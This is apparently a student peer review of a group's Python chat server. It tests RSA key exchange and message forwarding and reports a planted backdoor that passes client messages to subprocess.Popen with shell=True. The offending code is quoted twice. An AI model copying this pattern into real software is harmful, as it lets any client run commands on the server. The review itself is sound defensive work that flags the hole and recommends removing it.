Peer Review Report for Group 31 – Yen Shuen Huang

This peer review is dedicated to:

- Hong Duc Vu
- Yen-Shuen Huang
- Viet Phong Nguyen
- Tam Dang

This review will attempt to create and join chat rooms, send public and private messages, and experiment with the implementation of features such as file transfer. The focus of this review is to identify deliberate backdoors and security vulnerabilities, while providing constructive feedback on the strengths of the system and areas for improvement.

Dynamic Analysis

Server and Client Communication

The server and client setup works as expected. The server starts and listens on port 5555, and clients can successfully connect to it. The RSA key exchange is implemented when the client sends a "hello" message to the server, and this part of the communication runs smoothly.

- **Strengths**: The overall communication between server and clients, including the RSA key generation and public key exchange, works very well. It adds a layer of security by ensuring that messages can be verified for authenticity.

```
PS D:\my_work\Comp Sci 3307\peer_review\code\code> python server.py
[LISTENING] Server is listening on 0.0.0.0:5555
Broadcast message sent from 10.1.1.117 on port 12345
Received server_hello from 10.1.1.117
Sent server_response to ('192.168.56.1', 60132)
Discovered server at 10.1.1.117:5555
No more servers found.
[NEW CONNECTION] ('10.1.1.117', 2037) connected.
[ACTIVE CONNECTIONS] 3
[HELLO] Stored public key from ('10.1.1.117', 2037).
[MESSAGE SENT] ('10.1.1.117', 2037) to 10.1.1.117
    [<] 'hello' is not recognized as an internal or external command,
operable program or batch file.

[NEW CONNECTION] ('10.1.1.117', 2133) connected.
[ACTIVE CONNECTIONS] 4
[HELLO] Stored public key from ('10.1.1.117', 2133).
[MESSAGE SENT] ('10.1.1.117', 2133) to 10.1.1.117
    [<] 'How's' is not recognized as an internal or external command,
operable program or batch file.
```

```
PS D:\my_work\Comp Sci 3307\peer_review\code> cd code
PS D:\my_work\Comp Sci 3307\peer_review\code\code> python client.py
>>
[CONNECTED] Connected to server at 10.1.1.117:5555
[HELLO] Hello message sent
Enter destination IP (or 'exit' to quit): 10.1.1.117
Enter your message: hello
[MESSAGE SENT] Message sent to server.
Enter destination IP (or 'exit' to quit): [RAW MESSAGE RECEIVED] {"original_sender": "('10.1.1.117', 2037)", "data": {"message": "hello", "destination_ip": "10.1.1.117"}}
[FORWARDED MESSAGE FROM ('10.1.1.117', 2037)] hello
Enter destination IP (or 'exit' to quit): [RAW MESSAGE RECEIVED] {"original_sender": "('10.1.1.117', 2133)", "data": {"message": "How's going", "destination_ip": "10.1.1.117"}}
[FORWARDED MESSAGE FROM ('10.1.1.117', 2133)] How's going
Enter destination IP (or 'exit' to quit):
```

```
PS D:\my_work\Comp Sci 3307\peer_review\code> cd code
PS D:\my_work\Comp Sci 3307\peer_review\code\code> python client.py
[CONNECTED] Connected to server at 10.1.1.117:5555
[HELLO] Hello message sent
Enter destination IP (or 'exit' to quit): 10.1.1.117
Enter your message: How's going
[MESSAGE SENT] Message sent to server.
Enter destination IP (or 'exit' to quit):
```

Command Injection Risk

Upon running the system, I found that the server attempts to execute client messages as shell commands using the following code:

```
###### vulnerable
proc = subprocess.Popen(message_data['data']['message'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = "    [<] " +  proc.stdout.read().decode('utf-8') + proc.stderr.read().decode('utf-8')
print(stdoutput)
###### vulnerable
```

This allows for potential command injection, as any message sent by a client could include dangerous shell commands, making this a critical vulnerability.

Static Code Analysis

RSA Key Signing

The system uses RSA keys for signing messages, which ensures message integrity and authenticity. This is a well-implemented feature, and it helps prevent tampering with messages in transit.

- **Strength**: The RSA key signing ensures that only the intended client can send valid messages, and the server can verify that the messages come from legitimate sources.

Lack of Message Encryption

While messages are signed using RSA, the actual message content is not encrypted. This means that although the server can verify the sender, anyone intercepting the communication can read the plaintext messages. Adding encryption for the message content would improve the security.

Subprocess Vulnerability (Backdoor)

The server code contains a backdoor where it executes incoming client messages as shell commands. This is a severe vulnerability because it allows clients to potentially execute harmful commands on the server. This should be removed or sanitized to prevent command injection attacks.

No Heartbeat or Connection Monitoring

There is no implementation of a heartbeat mechanism to monitor if clients are still connected. This means the server cannot detect inactive or disconnected clients efficiently, leading to potential resource management issues.

Backdoors and Vulnerabilities

Backdoor 1: Command Injection via subprocess

- **Description**: The server executes incoming messages from clients as shell commands, which could be exploited to run malicious code. This is a critical security flaw, and removing or properly sanitizing the commands is necessary to prevent remote code execution.

```
####### vulnerable
proc = subprocess.Popen(message_data['data']['message'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = "    [<] " +  proc.stdout.read().decode('utf-8') + proc.stderr.read().decode('utf-8')
print(stdoutput)
###### vulnerable
```

Backdoor 2: Lack of Message Encryption

- **Description**: While RSA signing is used for message integrity, the message content itself is not encrypted. This could expose sensitive information if the communication is intercepted. Encrypting the message content would enhance the security of the system.

Strengths

1. **Public Key Exchange**: The RSA key exchange mechanism ensures that messages can be authenticated, which adds a layer of security to the system.
2. **Message Signing**: The use of RSA for signing messages is a well-thought-out security feature that ensures message authenticity and integrity.
3. **Message Forwarding**: The message forwarding between clients works well, allowing multiple clients to communicate through the server.

Areas for Improvement

1. **Command Injection Mitigation**: The server's use of ‘subprocess.Popen’ is highly vulnerable. It's recommended to sanitize any input or avoid executing commands directly from client input.
2. **Message Encryption**: Adding encryption for the message content would ensure that even if the communication is intercepted, the message content remains confidential.
3. **Heartbeat Mechanism**: Implementing a heartbeat or connection monitoring mechanism would allow the server to detect disconnected clients more efficiently, improving resource management.

Thank you for working hard on the chat application! If you would like further adjustments or additions, feel free to ask!